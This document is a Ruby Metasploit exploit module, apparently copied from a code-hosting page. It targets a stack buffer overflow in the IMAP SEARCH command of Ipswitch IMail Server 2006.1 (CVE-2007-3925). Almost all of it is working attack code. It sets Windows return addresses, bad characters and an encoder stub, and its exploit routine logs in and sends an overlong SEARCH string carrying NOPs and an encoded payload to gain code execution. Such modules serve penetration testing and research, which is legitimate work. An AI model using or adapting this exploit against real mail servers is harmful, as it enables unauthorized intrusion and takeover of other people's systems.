71 lines
2.0 KiB
Ruby
71 lines
2.0 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Imap
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Ipswitch IMail IMAP SEARCH Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Ipswitch IMail Server 2006.1 IMAP SEARCH
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verb. By sending an overly long string, an attacker can overwrite the
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buffer and control program execution.
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In order for this module to be successful, the IMAP user must have at least one
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message.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2007-3925' ],
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[ 'OSVDB', '36219' ],
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[ 'BID', '24962' ],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 400,
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'BadChars' => "\x00\x0a\x0d\x20\x0b\x09\x0c",
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'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77f81be3 } ],
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[ 'Windows 2003 SP0 English', { 'Ret' => 0x77c5cee8 } ]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jul 18 2007'))
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end
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def exploit
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sploit = "a002 SEARCH BEFORE " + "<" + rand_text_english(87)
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sploit << [target.ret].pack('V') + make_nops(20) + payload.encoded + ">"
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info = connect_login
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if (info == true)
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print_status("Trying target #{target.name}...")
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sock.put("a001 SELECT INBOX\r\n")
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sock.get_once(-1, 3)
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sock.put(sploit + "\r\n")
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else
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print_status("Not falling through with exploit")
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end
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handler
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disconnect
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end
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end
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